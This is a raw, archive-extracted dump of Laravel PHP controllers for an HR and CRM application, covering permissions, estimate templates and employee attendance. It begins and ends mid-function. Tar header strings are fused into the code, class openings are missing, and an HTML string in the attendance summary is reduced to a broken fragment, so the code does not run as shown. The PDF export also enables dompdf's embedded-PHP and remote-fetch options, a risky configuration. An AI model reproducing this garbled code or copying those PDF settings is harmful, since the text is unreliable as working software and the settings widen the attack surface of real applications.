public function getSubCategories($id) { $sub_categories = ProductSubCategory::where('category_id', $id)->get(); return Reply::dataOnly(['status' => 'success', 'data' => $sub_categories]); } } Http/Controllers/UserPermissionController.php000064400000004302150325104510015530 0ustar00permissionId) ->where('user_id', $id) ->firstOrNew(); $userPermission->permission_type_id = $request->permissionType; $userPermission->user_id = $id; $userPermission->permission_id = $request->permissionId; $userPermission->save(); if ($request->permissionCustomised == 1) { User::where('id', $id)->update(['customised_permissions' => 1]); } cache()->forget('sidebar_user_perms_' . $id); return Reply::dataOnly(['status' => 'success']); } public function customPermissions(Request $request, $id) { $this->employee = User::with('role')->findOrFail($id); $roleId = $this->employee->role[0]->role_id; $this->role = Role::with('permissions')->findOrFail($roleId); $this->modulesData = Module::with('customPermissions')->findOrFail($request->moduleId); $html = view('employees.ajax.custom_permissions', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html]); } public function resetPermissions($userId) { $user = User::with('roles')->findOrFail($userId); $userRoles = $user->roles; if (count($userRoles) > 1) { $role = $userRoles->where('name', '!=', 'employee')->first(); } else { $role = $userRoles->first(); } if (!$role) { return Reply::error(__('messages.roleNotFound', ['user' => $user->name])); } $user->assignUserRolePermission($role->id); User::where('id', $userId)->update(['customised_permissions' => 0]); cache()->forget('sidebar_user_perms_' . $userId); return Reply::dataOnly(['status' => 'success']); } } Http/Controllers/EstimateTemplateController.php000064400000036045150325104510016021 0ustar00pageTitle = 'modules.estimates.estimateTemplate'; } public function index(EstimateTemplateDataTable $dataTable) { $this->addPermission = user()->permission('add_estimates'); return $dataTable->render('estimates-templates.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->pageTitle = __('modules.estimates.createestimateTemplate'); $this->taxes = Tax::all(); $this->currencies = Currency::all(); $this->units = UnitType::all(); $this->invoiceSetting = invoice_setting(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->view = 'estimates-templates.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('estimates.create', $this->data); } public function store(StoreRequest $request) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; $userId = UserService::getUserId(); if (isset($items[0]) && (trim($items[0]) == '' || trim($items[0]) == '' || isset($cost_per_item[0]) && trim($cost_per_item[0]) == '')) { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $estimate = new EstimateTemplate(); $estimate->name = $request->name; $estimate->sub_total = $request->sub_total; $estimate->total = $request->total; $estimate->currency_id = $request->currency_id; $estimate->discount = round($request->discount_value, 2); $estimate->discount_type = $request->discount_type; $estimate->signature_approval = ($request->require_signature) ? 1 : 0; $estimate->description = trim_editor($request->description); $estimate->added_by = $userId; $estimate->save(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('estimate-template.index'); } $this->logSearchEntry($estimate->id, 'Estimate #' . $estimate->id, 'estimates.show', 'estimate'); return Reply::redirect($redirectUrl, __('messages.estimateTemplateCreated')); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->invoice = EstimateTemplate::with('items', 'clients', 'items.estimateTemplateItemImage', 'units')->findOrFail($id); $this->pageTitle = __('modules.lead.estimateTemplate') . '#' . $this->invoice->id; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } else { $this->discount = 0; } $taxList = array(); $items = EstimateTemplateItem::whereNotNull('taxes') ->where('estimate_template_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateTemplateItem::taxbyid($tax)->first(); if($this->tax){ if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])){ /** @phpstan-ignore-next-line */ if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else{ $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { /** @phpstan-ignore-next-line */ if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->settings = global_setting(); $this->invoiceSetting = invoice_setting(); return view('estimates-templates.show', $this->data); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->pageTitle = __('modules.estimates.updateEstimateTemplate'); $this->estimate = EstimateTemplate::with('items', 'clients')->findOrFail($id); $this->editPermission = user()->permission('edit_estimates'); $userId = UserService::getUserId(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $this->estimate->added_by == $userId) || ($this->editPermission == 'owned' && $this->estimate->added_by != $userId) || $this->editPermission == 'both' )); $this->taxes = Tax::all(); $this->currencies = Currency::all(); $this->units = UnitType::all(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->invoiceSetting = invoice_setting(); $this->view = 'estimates-templates.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('estimates-templates.create', $this->data); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; if (isset($items[0]) && (trim($items[0]) == '' || trim($items[0]) == '' || isset($cost_per_item[0]) && trim($cost_per_item[0]) == '')) { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $estimateTemplate = EstimateTemplate::findOrFail($id); $estimateTemplate->name = $request->name; $estimateTemplate->sub_total = $request->sub_total; $estimateTemplate->total = $request->total; $estimateTemplate->currency_id = $request->currency_id; $estimateTemplate->discount = round($request->discount_value, 2); $estimateTemplate->discount_type = $request->discount_type; $estimateTemplate->signature_approval = ($request->require_signature) ? 1 : 0; $estimateTemplate->description = trim_editor($request->description); $estimateTemplate->save(); return Reply::redirect(route('estimate-template.index', $estimateTemplate->id), __('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $this->deletePermission = user()->permission('delete_estimates'); $estimate = EstimateTemplate::findOrFail($id); $userId = UserService::getUserId(); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $estimate->added_by == $userId) || ($this->deletePermission == 'owned' && $estimate->added_by != $userId) || $this->deletePermission == 'both' )); EstimateTemplate::destroy($id); return Reply::success(__('messages.estimateTemplateDeleted')); } public function deleteEstimateItemImage(Request $request) { $item = EstimateTemplateItemImage::where('estimate_template_item_id', $request->invoice_item_id)->first(); if ($item) { Files::deleteFile($item->hashname, 'estimate-files/' . $item->id . '/'); $item->delete(); } return Reply::success(__('messages.deleteSuccess')); } public function domPdfObjectForDownload($id) { $this->invoiceSetting = invoice_setting(); $this->estimateTemplate = EstimateTemplate::with('items', 'clients', 'currency', 'units')->findOrFail($id); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); if ($this->estimateTemplate->discount > 0) { if ($this->estimateTemplate->discount_type == 'percent') { $this->discount = (($this->estimateTemplate->discount / 100) * $this->estimateTemplate->sub_total); } else { $this->discount = $this->estimateTemplate->discount; } } else { $this->discount = 0; } $taxList = array(); $items = EstimateTemplateItem::whereNotNull('taxes') ->where('estimate_template_id', $this->estimateTemplate->id) ->get(); $this->invoiceSetting = invoice_setting(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateTemplateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { /** @phpstan-ignore-next-line */ if ($this->estimateTemplate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->estimateTemplate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else{ $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->settings = global_setting(); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOptions(['isHtml5ParserEnabled' => true, 'isRemoteEnabled' => true]); $pdf->loadView('estimates-templates.pdf.' . $this->invoiceSetting->template, $this->data); $filename = __('modules.estimates.estimateTemplate') . '-' . $this->estimateTemplate->id; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function addItem(Request $request) { $this->items = Product::findOrFail($request->id); $this->invoiceSetting = invoice_setting(); $exchangeRate = Currency::findOrFail($request->currencyId); if($exchangeRate->exchange_rate == $request->exchangeRate){ $exRate = $exchangeRate->exchange_rate; }else{ $exRate = floatval($request->exchangeRate ?: 1); } if (!is_null($exchangeRate) && !is_null($exchangeRate->exchange_rate)) { if ($this->items->total_amount != '') { /** @phpstan-ignore-next-line */ $this->items->price = floor($this->items->total_amount / $exRate); } else { $this->items->price = floatval($this->items->price) / floatval($exRate); } } else { if ($this->items->total_amount != '') { $this->items->price = $this->items->total_amount; } } $this->items->price = number_format((float)$this->items->price, 2, '.', ''); $this->taxes = Tax::all(); $this->units = UnitType::all(); $view = view('invoices.ajax.add_item', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } Http/Controllers/AttendanceController.php000064400000306377150325104510014630 0ustar00pageTitle = 'app.menu.attendance'; $this->middleware(function ($request, $next) { abort_403(!in_array('attendance', $this->user->modules)); $this->viewAttendancePermission = user()->permission('view_attendance'); return $next($request); }); } public function index(Request $request) { $attendance = Attendance::find($request->employee_id); if ($request->employee_id) { abort_403(!( $this->viewAttendancePermission == 'all' || ($this->viewAttendancePermission == 'added' && $attendance->added_by == user()->id) || ($this->viewAttendancePermission == 'owned' && $attendance->user_id == user()->id) || ($this->viewAttendancePermission == 'both' && ($attendance->added_by == user()->id || $attendance->user_id == user()->id)))); } else { abort_403(!in_array($this->viewAttendancePermission, ['all', 'added', 'owned', 'both'])); } if (request()->ajax()) { return $this->summaryData($request); } if ($this->viewAttendancePermission == 'owned') { $this->employees = User::where('id', user()->id)->get(); } else { $this->employees = User::allEmployees(null, false, ($this->viewAttendancePermission == 'all' ? 'all' : null)); } $now = now(); $this->year = $now->format('Y'); $this->month = $now->format('m'); $this->departments = Team::all(); $this->designations = Designation::all(); return view('attendances.index', $this->data); } public function summaryData($request) { $viewEmployeePermission = user()->permission('view_employees'); $employees = User::with( [ 'employeeDetail.designation:id,name', 'attendance' => function ($query) use ($request) { $startOfMonth = Carbon::createFromDate($request->year, $request->month, 1)->startOfMonth(); $officestartTimeDB = Carbon::createFromFormat('Y-m-d H:i:s', $startOfMonth, company()->timezone); $startOfMonth = $startOfMonth->subMinutes($officestartTimeDB->offset / 60); $endOfMonth = Carbon::createFromDate($request->year, $request->month, 1)->endOfMonth(); $officeEndTimeDB = Carbon::createFromFormat('Y-m-d H:i:s', $endOfMonth, company()->timezone); $endOfMonth = $endOfMonth->subMinutes($officeEndTimeDB->offset / 60); $query->whereBetween('attendances.clock_in_time', [$startOfMonth, $endOfMonth]); // $query->orwhereRaw('MONTH(attendances.clock_in_time) = ?', [$request->month]) // ->orwhereRaw('YEAR(attendances.clock_in_time) = ?', [$request->year]); if ($this->viewAttendancePermission == 'added') { $query->where('attendances.added_by', user()->id); } elseif ($this->viewAttendancePermission == 'owned') { $query->where('attendances.user_id', user()->id); } }, 'leaves' => function ($query) use ($request) { $query->whereRaw('MONTH(leaves.leave_date) = ?', [$request->month]) ->whereRaw('YEAR(leaves.leave_date) = ?', [$request->year]) ->where('status', 'approved'); }, 'shifts' => function ($query) use ($request) { $query->whereRaw('MONTH(employee_shift_schedules.date) = ?', [$request->month]) ->whereRaw('YEAR(employee_shift_schedules.date) = ?', [$request->year]); }, 'leaves.type', 'shifts.shift', 'attendance.shift'] )->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('users.id', 'users.name','users.inactive_date', 'users.email', 'users.created_at', 'employee_details.department_id', 'employee_details.user_id', 'employee_details.added_by', 'users.image') ->onlyEmployee() ->withoutGlobalScope(ActiveScope::class) ->where(function ($query) use ($request) { // $query->whereNull('users.inactive_date') $query->where('users.status','active') ->orWhere(function ($subQuery) use ($request) { $subQuery->whereRaw('YEAR(users.inactive_date) >= ?', [$request->year]) ->whereRaw('MONTH(users.inactive_date) >= ?', [$request->month]); }); }) ->groupBy('users.id'); if ($request->department != 'all') { $employees = $employees->where('employee_details.department_id', $request->department); } if ($request->designation != 'all') { $employees = $employees->where('employee_details.designation_id', $request->designation); } if ($request->userId != 'all') { $employees = $employees->where('users.id', $request->userId); } if ($viewEmployeePermission == 'owned') { $employees = $employees->where('users.id', user()->id); } elseif ($viewEmployeePermission == 'both') { $employees = $employees->where('employee_details.user_id', user()->id) ->orWhere('employee_details.added_by', user()->id); } elseif ($viewEmployeePermission == 'added') { $employees = $employees->where('employee_details.added_by', user()->id); } $employees = $employees->get(); $user = user(); $this->holidays = Holiday::whereRaw('MONTH(holidays.date) = ?', [$request->month])->whereRaw('YEAR(holidays.date) = ?', [$request->year])->get(); $final = []; $holidayOccasions = []; $leaveReasons = []; $this->daysInMonth = Carbon::parse('01-' . $request->month . '-' . $request->year)->daysInMonth; $now = now()->timezone($this->company->timezone); $requestedDate = Carbon::parse(Carbon::parse('01-' . $request->month . '-' . $request->year))->endOfMonth(); foreach ($employees as $employee) { $dataBeforeJoin = null; $dataTillToday = array_fill(1, $now->copy()->format('d'), 'Absent'); $dataTillRequestedDate = array_fill(1, (int)$this->daysInMonth, 'Absent'); $daysTofill = ((int)$this->daysInMonth - (int)$now->copy()->format('d')); if (($now->copy()->format('d') != $this->daysInMonth) && !$requestedDate->isPast()) { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), (($daysTofill >= 0 ? $daysTofill : 0)), '-'); } else { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), (($daysTofill >= 0 ? $daysTofill : 0)), 'Absent'); } if (!$requestedDate->isPast()) { $final[$employee->id . '#' . $employee->name] = array_replace($dataTillToday, $dataFromTomorrow); } else { $final[$employee->id . '#' . $employee->name] = array_replace($dataTillRequestedDate, $dataFromTomorrow); } $shiftScheduleCollection = $employee->shifts->keyBy('date'); foreach ($employee->shifts as $shifts) { if ($shifts->shift->shift_name == 'Day Off') { $final[$employee->id . '#' . $employee->name][$shifts->date->day] = 'Day Off'; } } $firstAttendanceProcessed = []; foreach ($employee->attendance as $attendance) { $clockInTimeUTC = $attendance->clock_in_time->timezone(company()->timezone)->toDateTimeString(); $clockInTime = Carbon::createFromFormat('Y-m-d H:i:s', $clockInTimeUTC, 'UTC'); $startOfDayKey = $clockInTime->startOfDay()->toDateTimeString(); $shiftSchedule = $shiftScheduleCollection[$startOfDayKey] ?? null; if ($shiftSchedule) { $shift = $shiftSchedule->shift; $shiftStartTime = Carbon::parse($clockInTime->toDateString() . ' ' . $shift->office_start_time); $shiftEndTime = Carbon::parse($clockInTime->toDateString() . ' ' . $shift->office_end_time); // Determine if the attendance is within the shift time, the previous day's shift, or otherwise $isWithinShift = $clockInTime->between($shiftStartTime, $shiftEndTime); $isPreviousShift = $clockInTime->betweenIncluded($shiftStartTime->subDay(), $shiftEndTime->subDay()); $isAssignedShift = $attendance->employee_shift_id == $shift->id; } else { $isWithinShift = $isPreviousShift = $isAssignedShift = false; } if (!isset($isHalfDay[$employee->id][$startOfDayKey]) && !isset($isLate[$employee->id][$startOfDayKey])) { $isHalfDay[$employee->id][$startOfDayKey] = $isLate[$employee->id][$startOfDayKey] = false; } // Check if this is the first attendance of the day for this employee if (!isset($firstAttendanceProcessed[$employee->id][$startOfDayKey])) { $firstAttendanceProcessed[$employee->id][$startOfDayKey] = true; // Mark as processed // Apply "half day" or "late" logic only if it's the first attendance $isHalfDay[$employee->id][$startOfDayKey] = $attendance->half_day == 'yes'; $isLate[$employee->id][$startOfDayKey] = $attendance->late == 'yes'; } $iconClassKey = $isHalfDay[$employee->id][$startOfDayKey] ? 'star-half-alt text-red' : ($isLate[$employee->id][$startOfDayKey] ? 'exclamation-circle text-warning' : 'check text-success'); // Tooltip title based on attendance status or presence $tooltipTitle = $attendance->employee_shift_id ? $attendance->shift->shift_name : __('app.present'); // Construct the attendance HTML once $attendanceHtml = "id}\">"; // Determine the day to assign the attendanceHtml if ($isWithinShift || $isAssignedShift || $isPreviousShift) { $dayToAssign = $isPreviousShift ? $clockInTime->copy()->subDay()->day : $clockInTime->day; $final[$employee->id . '#' . $employee->name][$dayToAssign] = $attendanceHtml; } else { $final[$employee->id . '#' . $employee->name][$clockInTime->day] = $attendanceHtml; } } $emplolyeeName = view('components.employee', [ 'user' => $employee ]); $final[$employee->id . '#' . $employee->name][] = $emplolyeeName; if ($employee->employeeDetail->joining_date->greaterThan(Carbon::parse(Carbon::parse('01-' . $request->month . '-' . $request->year)))) { if ($request->month == $employee->employeeDetail->joining_date->format('m') && $request->year == $employee->employeeDetail->joining_date->format('Y')) { if ($employee->employeeDetail->joining_date->format('d') == '01') { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->format('d'), '-'); } else { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->subDay()->format('d'), '-'); } } if (($request->month < $employee->employeeDetail->joining_date->format('m') && $request->year == $employee->employeeDetail->joining_date->format('Y')) || $request->year < $employee->employeeDetail->joining_date->format('Y')) { $dataBeforeJoin = array_fill(1, $this->daysInMonth, '-'); } } if (Carbon::parse('01-' . $request->month . '-' . $request->year)->isFuture()) { $dataBeforeJoin = array_fill(1, $this->daysInMonth, '-'); } if (!is_null($dataBeforeJoin)) { $final[$employee->id . '#' . $employee->name] = array_replace($final[$employee->id . '#' . $employee->name], $dataBeforeJoin); } foreach ($employee->leaves as $leave) { if ($leave->duration == 'half day') { if ($final[$employee->id . '#' . $employee->name][$leave->leave_date->day] == '-' || $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] == 'Absent') { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Half Day'; } } else { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Leave'; $leaveReasons[$employee->id][$leave->leave_date->day] = $leave->type->type_name . ': ' . $leave->reason; } } foreach ($this->holidays as $holiday) { $departmentId = $employee->employeeDetail->department_id; $designationId = $employee->employeeDetail->designation_id; $employmentType = $employee->employeeDetail->employment_type; $holidayDepartment = (!is_null($holiday->department_id_json)) ? json_decode($holiday->department_id_json) : []; $holidayDesignation = (!is_null($holiday->designation_id_json)) ? json_decode($holiday->designation_id_json) : []; $holidayEmploymentType = (!is_null($holiday->employment_type_json)) ? json_decode($holiday->employment_type_json) : []; if (((in_array($departmentId, $holidayDepartment) || $holiday->department_id_json == null) && (in_array($designationId, $holidayDesignation) || $holiday->designation_id_json == null) && (in_array($employmentType, $holidayEmploymentType) || $holiday->employment_type_json == null)) ) { if ($final[$employee->id . '#' . $employee->name][$holiday->date->day] == 'Absent' || $final[$employee->id . '#' . $employee->name][$holiday->date->day] == '-') { $final[$employee->id . '#' . $employee->name][$holiday->date->day] = 'Holiday'; $holidayOccasions[$holiday->date->day] = $holiday->occassion; } } } } $this->employeeAttendence = $final; $this->holidayOccasions = $holidayOccasions; $this->leaveReasons = $leaveReasons; $this->weekMap = Holiday::weekMap('D'); $this->month = $request->month; $this->year = $request->year; $view = view('attendances.ajax.summary_data', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'data' => $view]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function show($id) { $viewPermission = user()->permission('view_attendance'); $attendance = Attendance::with('user', 'user.employeeDetail', 'location')->findOrFail($id); $attendanceSettings = EmployeeShiftSchedule::with('shift')->where('user_id', $attendance->user_id) ->whereDate('date', Carbon::parse($attendance->clock_in_time)->toDateString()) ->first(); if ($attendanceSettings) { $this->attendanceSettings = $attendanceSettings->shift; } else { $this->attendanceSettings = AttendanceSetting::first()->shift; // Do not get this from session here } abort_403(!( $viewPermission == 'all' || ($viewPermission == 'added' && $attendance->added_by == user()->id) || ($viewPermission == 'owned' && $attendance->user->id == user()->id) || ($viewPermission == 'both' && ($attendance->added_by == user()->id || $attendance->user->id == user()->id)) ) ); $this->attendanceActivity = Attendance::userAttendanceByDate($attendance->clock_in_time, $attendance->clock_in_time, $attendance->user_id); $this->attendanceActivity->load('shift'); $attendanceActivity = clone $this->attendanceActivity; $attendanceActivity = $attendanceActivity->reverse()->values(); $settingStartTime = Carbon::createFromFormat('H:i:s', $this->attendanceSettings->office_start_time, $this->company->timezone); $defaultEndTime = $settingEndTime = Carbon::createFromFormat('H:i:s', $this->attendanceSettings->office_end_time, $this->company->timezone); if ($settingStartTime->gt($settingEndTime)) { $settingEndTime->addDay(); } if ($settingEndTime->greaterThan(now()->timezone($this->company->timezone))) { $defaultEndTime = now()->timezone($this->company->timezone); } $this->totalTime = 0; foreach ($attendanceActivity as $key => $activity) { if ($key == 0) { $this->firstClockIn = $activity; // $this->attendanceDate = ($activity->shift_start_time) ? Carbon::parse($activity->shift_start_time) : Carbon::parse($this->firstClockIn->clock_in_time)->timezone($this->company->timezone); $this->attendanceDate = ($activity->clock_in_time) ? Carbon::parse($activity->clock_in_time)->timezone($this->company->timezone) : Carbon::parse($this->firstClockIn->clock_in_time)->timezone($this->company->timezone); $this->startTime = Carbon::parse($this->firstClockIn->clock_in_time)->timezone($this->company->timezone); } $this->lastClockOut = $activity; if (!is_null($this->lastClockOut->clock_out_time)) { $this->endTime = Carbon::parse($this->lastClockOut->clock_out_time)->timezone($this->company->timezone); } elseif (($this->lastClockOut->clock_in_time->timezone($this->company->timezone)->format('Y-m-d') != now()->timezone($this->company->timezone)->format('Y-m-d')) && is_null($this->lastClockOut->clock_out_time)) { // When date changed like night shift $this->endTime = Carbon::parse($this->startTime->format('Y-m-d') . ' ' . $this->attendanceSettings->office_end_time, $this->company->timezone); if ($this->startTime->gt($this->endTime)) { $this->endTime->addDay(); } if ($this->endTime->gt(now()->timezone($this->company->timezone))) { $this->endTime = now()->timezone($this->company->timezone); } $this->notClockedOut = true; } else { $this->endTime = $defaultEndTime; if ($this->startTime->gt($this->endTime)) { $this->endTime = now()->timezone($this->company->timezone); } $this->notClockedOut = true; } $this->totalTime = $this->totalTime + $this->endTime->timezone($this->company->timezone)->diffInSeconds($activity->clock_in_time->timezone($this->company->timezone)); } $this->maxClockIn = $attendanceActivity->count() < $this->attendanceSettings->clockin_in_day; /** @phpstan-ignore-next-line */ $this->totalTime = CarbonInterval::formatHuman($this->totalTime, true); $this->attendance = $attendance; return view('attendances.ajax.show', $this->data); } public function edit($id) { $attendance = Attendance::findOrFail($id); $attendanceSettings = EmployeeShiftSchedule::with('shift')->where('user_id', $attendance->user_id)->where('date', $attendance->clock_in_time->format('Y-m-d'))->first(); if ($attendanceSettings) { $this->attendanceSettings = $attendanceSettings->shift; } else { $this->attendanceSettings = attendance_setting()->shift; // Do not get this from session here } $this->date = $attendance->clock_in_time->timezone($this->company->timezone)->format('Y-m-d'); $this->row = $attendance; $this->clock_in = 1; $this->userid = $attendance->user_id; $this->total_clock_in = Attendance::where('user_id', $attendance->user_id) ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $attendance->clock_in_time->format('Y-m-d')) // $his->date ->whereNull('attendances.clock_out_time')->count(); $this->type = 'edit'; $this->location = CompanyAddress::all(); $this->attendanceUser = User::findOrFail($attendance->user_id); $this->maxAttendanceInDay = $this->attendanceSettings->clockin_in_day; return view('attendances.ajax.edit', $this->data); } public function update(ClockInRequest $request, $id) { $attendance = Attendance::findOrFail($id); $carbonDate = Carbon::parse($request->attendance_date, $this->company->timezone); $date = $carbonDate->format('Y-m-d'); $clockIn = Carbon::createFromFormat('Y-m-d ' . $this->company->time_format, $date . ' ' . $request->clock_in_time, $this->company->timezone); if ($request->clock_out_time != '') { $clockOut = Carbon::createFromFormat('Y-m-d ' . $this->company->time_format, $date . ' ' . $request->clock_out_time, $this->company->timezone); if ($clockIn->gt($clockOut) && !is_null($clockOut)) { $clockOut = $clockOut->addDay(); } } else { $clockOut = null; } $attendances = Attendance::where('user_id', $request->user_id) ->whereDate('clock_in_time', $date) ->get(); $recordBeingEdited = $attendances->find($id); $conflictingAttendance = $attendances->filter(function ($item) use ($clockIn, $clockOut, $recordBeingEdited) { if ($item->id === $recordBeingEdited->id) { return false; } $clockInTime = $item->clock_in_time->timezone($this->company->timezone); $clockOutTime = $item->clock_out_time->timezone($this->company->timezone); return ( ($clockInTime->lt($clockOut) && $clockOutTime->gt($clockIn)) ); })->first(); if ($conflictingAttendance) { return Reply::error(__('messages.attendanceMarked')); } $attendance->user_id = $request->user_id; $attendance->clock_in_time = $clockIn->copy()->timezone(config('app.timezone')); $attendance->clock_in_ip = $request->clock_in_ip; $attendance->clock_out_time = $clockOut?->copy()->timezone(config('app.timezone')); $attendance->auto_clock_out = 0; $attendance->clock_out_ip = $request->clock_out_ip; $attendance->working_from = $request->working_from; $attendance->work_from_type = $request->work_from_type; $attendance->location_id = $request->location; $attendance->late = ($request->has('late')) ? 'yes' : 'no'; $attendance->half_day = ($request->has('halfday')) ? 'yes' : 'no'; $attendance->half_day_type = ($request->has('half_day_duration') && $request->has('halfday')) ? $request->half_day_duration : null; $attendance->save(); return Reply::success(__('messages.attendanceSaveSuccess')); } public function mark(Request $request, $userid, $day, $month, $year) { $this->date = Carbon::createFromFormat('d-m-Y', $day . '-' . $month . '-' . $year)->format('Y-m-d'); $attendanceSettings = EmployeeShiftSchedule::with('shift')->where('user_id', $userid)->where('date', $this->date)->first(); if ($attendanceSettings) { $this->attendanceSettings = $attendanceSettings->shift; } else { $this->attendanceSettings = attendance_setting()->shift; // Do not get this from session here } $this->row = Attendance::attendanceByUserDate($userid, $this->date); $this->clock_in = 0; $this->total_clock_in = Attendance::where('user_id', $userid) ->where(DB::raw('DATE(attendances.clock_in_time)'), '=', $this->date) ->whereNull('attendances.clock_out_time')->count(); $this->userid = $userid; $this->attendanceUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($userid); $this->type = 'add'; $this->maxAttendanceInDay = $this->attendanceSettings->clockin_in_day; $this->location = CompanyAddress::all(); return view('attendances.ajax.edit', $this->data); } public function store(StoreAttendance $request) { $carbonDate = Carbon::parse($request->attendance_date, $this->company->timezone); $date = $carbonDate->format('Y-m-d'); $clockIn = Carbon::createFromFormat('Y-m-d ' . $this->company->time_format, $date . ' ' . $request->clock_in_time, $this->company->timezone); $attendanceSettings = EmployeeShiftSchedule::with('shift')->where('user_id', $request->user_id)->where('date', $date)->first(); if ($attendanceSettings) { $this->attendanceSettings = $attendanceSettings->shift; } else { $this->attendanceSettings = AttendanceSetting::first()->shift; // Do not get this from session here } if ($request->clock_out_time != '') { $clockOut = Carbon::createFromFormat('Y-m-d ' . $this->company->time_format, $date . ' ' . $request->clock_out_time, $this->company->timezone); if ($clockIn->gt($clockOut) && !is_null($clockOut)) { $clockOut = $clockOut->addDay(); } } else { $clockOut = null; } $attendance = Attendance::where('user_id', $request->user_id) ->whereBetween('clock_in_time', [$carbonDate->copy()->subDay(), $carbonDate->copy()->addDay()]) ->whereNull('clock_out_time') ->get(); $attendance = $attendance->filter(function ($item) use ($date) { return $item->clock_in_time->timezone($this->company->timezone)->format('Y-m-d') == $date; })->first(); $startTimestamp = $date . ' ' . $this->attendanceSettings->office_start_time; $endTimestamp = $date . ' ' . $this->attendanceSettings->office_end_time; $officeStartTime = Carbon::createFromFormat('Y-m-d H:i:s', $startTimestamp, $this->company->timezone); $officeEndTime = Carbon::createFromFormat('Y-m-d H:i:s', $endTimestamp, $this->company->timezone); if ($this->attendanceSettings->shift_type == 'strict') { $clockInCount = Attendance::getTotalUserClockInWithTime($officeStartTime, $officeEndTime, $request->user_id); } else { $clockInCount = Attendance::whereDate('clock_in_time', $officeStartTime->copy()->toDateString()) ->where('user_id', $request->user_id) ->count(); } $employeeShiftId = $this->attendanceSettings->id; $shiftStartTime 